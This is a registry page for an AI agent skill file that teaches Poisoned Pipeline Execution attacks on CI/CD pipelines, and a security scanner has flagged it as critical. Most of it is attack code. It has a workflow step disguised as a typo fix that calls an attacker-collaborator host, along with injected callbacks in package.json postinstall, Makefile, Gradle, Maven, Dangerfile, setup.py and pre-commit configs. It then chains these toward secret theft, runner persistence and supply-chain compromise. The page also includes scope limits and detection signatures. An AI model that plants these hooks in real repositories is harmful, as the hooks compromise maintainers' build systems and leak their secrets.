CtrlK
BlogDocsLog inGet started
Tessl Logo

poisoned-pipeline-execution

Poisoned Pipeline Execution (PPE) — direct + indirect: inject commands via attacker-controllable build files (Makefile, package.json scripts, build.gradle, Dangerfile, .pre-commit-config.yaml), abuse pull_request_target / fork-PR triggers, and ride dependency / test-script execution on CI.

63

Quality

75%

Does it follow best practices?

Run evals on this skill

Adds up to 20 points to the overall score

View guide

SecuritybySnyk

Critical

Do not install without reviewing

Fix and improve this skill with Tessl

tessl review fix ./packages/decepticon/decepticon/skills/standard/exploit/cicd/poisoned-pipeline-execution/SKILL.md
SKILL.md
Quality
Evals
Security

Poisoned Pipeline Execution (PPE)

PPE = run attacker code inside the target's CI job by editing files the pipeline already executes. Two flavors (Palawan / CIDER taxonomy):

  • Direct PPE (D-PPE): attacker edits the pipeline config itself (.github/workflows/*.yml, .gitlab-ci.yml, Jenkinsfile) in a PR/branch the CI runs.
  • Indirect PPE (I-PPE): attacker edits a file the pipeline calls — build scripts (Makefile, build.gradle, pom.xml), package-manager scripts (package.json scripts, setup.py), lint/test hooks (Dangerfile, .pre-commit-config.yaml, tox.ini, pyproject.toml [tool.poetry.scripts]), or any file make test ends up sourcing.

Recon — does the target build untrusted code?

# 1. Workflow triggers that build PRs
grep -rE '^\s*(pull_request|pull_request_target)\s*:' <REPO>/.github/workflows/ 2>/dev/null

# 2. Does CI install + run scripts before any review gate?
grep -rnE 'npm (ci|install|test|run)|yarn|pnpm|pip install|poetry install|make |gradle|mvn |tox' <REPO>/.github/workflows/ <REPO>/.gitlab-ci.yml 2>/dev/null

# 3. Are forks allowed? (default: yes on public repos)
gh api "repos/<OWNER>/<REPO>" --jq '{visibility,fork,allow_forking,default_branch}'

# 4. Does a maintainer have to approve fork-PR workflow runs? (org/repo setting)
gh api "repos/<OWNER>/<REPO>/actions/permissions" --jq '.allowed_actions,.enabled' 2>/dev/null
# Default for public repos: first-time contributors require approval; returning contributors don't.

Direct PPE — edit the workflow itself

# Attacker branch: feature/innocent-typo-fix
# .github/workflows/ci.yml — add a step that exfils env
name: CI
on: [push, pull_request]
jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - name: "fix: tweak test runner"   # blends in
        run: |
          # Beacon-only PoC — DO NOT exfil real secrets in research
          curl -sX POST "https://<COLLAB>/$(echo -n "$GITHUB_REPOSITORY" | base64)" \
            -d "ref=$GITHUB_REF"

D-PPE works when the workflow runs on pull_request from forks without the "require approval" gate, or when the attacker has push access to a branch CI builds.

Indirect PPE — edit a file the pipeline calls

package.json scripts

// PR diff — adds a postinstall that fires when CI runs `npm ci`
{
  "scripts": {
    "test": "jest",
    "postinstall": "node -e \"require('dns').lookup(require('crypto').randomBytes(6).toString('hex')+'.<COLLAB>',()=>{})\""
  }
}

npm ci / npm install will execute postinstall by default. Same trick works with preinstall, prepare, prepublish. Yarn / pnpm honor the same hooks.

Makefile / make test

# PR adds an indented line under the existing `test:` target
test:
	pytest -q
	@curl -s "https://<COLLAB>/make-test-$$(hostname)" >/dev/null || true

Gradle / Maven

// build.gradle — runs at evaluation, before any task
allprojects {
  doFirst {
    "curl -s https://<COLLAB>/gradle".execute()
  }
}
<!-- pom.xml — exec-maven-plugin attached to validate phase -->
<plugin>
  <groupId>org.codehaus.mojo</groupId><artifactId>exec-maven-plugin</artifactId>
  <executions><execution><phase>validate</phase>
    <goals><goal>exec</goal></goals>
    <configuration><executable>curl</executable>
      <arguments><argument>-s</argument><argument>https://<COLLAB>/mvn</argument></arguments>
    </configuration>
  </execution></executions>
</plugin>

Danger / pre-commit / lint hooks

# Dangerfile — runs on every PR in many JS/iOS pipelines
`curl -s https://<COLLAB>/danger`
# .pre-commit-config.yaml — points to attacker-controlled repo
repos:
  - repo: https://github.com/<ATTACKER>/innocent-lint
    rev: main
    hooks: [{ id: lint }]

setup.py / pyproject.toml

# setup.py — runs at `pip install .` time
from setuptools import setup
import os; os.system("curl -s https://<COLLAB>/setuppy")
setup(name="x", version="0.0.0")

Test fixtures

conftest.py, jest.setup.js, karma.conf.js, cypress/support/index.js, phpunit.xml bootstrap files — all execute before the first test runs.

pull_request_target — the dangerous trigger

pull_request_target runs in the base repo context with secrets and a write GITHUB_TOKEN, but if the workflow then checks out the PR head, the attacker's code runs privileged:

# VULNERABLE — DO NOT WRITE THIS
on: pull_request_target
jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
        with: { ref: ${{ github.event.pull_request.head.sha }} }   # <-- attacker code
      - run: npm ci && npm test                                    # <-- runs attacker code with secrets in env

A fork PR adding an postinstall to package.json now runs with secrets.* available.

Chains

ChainPivot
I-PPE in a build script -> printenv -> CI secret -> deploy credsSee cicd-secrets-exfil/SKILL.md
D-PPE on protected branch via stale review approvalPush to PR after approval (use dismiss_stale_reviews-misconfigured repos)
I-PPE on self-hosted runnerPersistence via cron / systemd; see self-hosted-runner-abuse/SKILL.md
I-PPE -> push tag / publish package via GITHUB_TOKENDownstream supply-chain compromise

Tools

ToolUse
gato / gato-xScans orgs for PPE-prone workflows, automates fork-PR PoC
actionlintReverse-use: flags pull_request_target + PR-head checkout
octoscan, zizmorStatic workflow analyzers
tj-actions/changed-files CVE-2025-30066Real-world I-PPE-via-action precedent

Detection signatures (defender view)

SignalWhere
Edit to .github/workflows/* in a fork PRGitHub UI flags "workflow file change" on first run; defenders watch for it
New postinstall / preinstall / prepare in package.json diffgit log -p package.json
New outbound network from CI runner during buildegress filtering on runner subnet
pull_request_target + checkout of head.shastatic lint (zizmor, octoscan)

Decision gate

  1. Confirm written scope covers CI/CD testing.
  2. PoC payload = single DNS / HTTPS beacon, no real secret exfil.
  3. Open the PR from a clearly-labeled security-research-* fork; close + delete after capture.
  4. Never push to protected branches, never publish artifacts, never tag releases.

References

  • "Top 10 CI/CD Security Risks" — Cider Security / OWASP (CICD-SEC-04 PPE)
  • Palawan / Cider PPE taxonomy
  • tj-actions/changed-files incident (Mar 2025) — supply-chain via reused action
Repository
PurpleAILAB/Decepticon
Last updated
First committed

Is this your skill?

If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.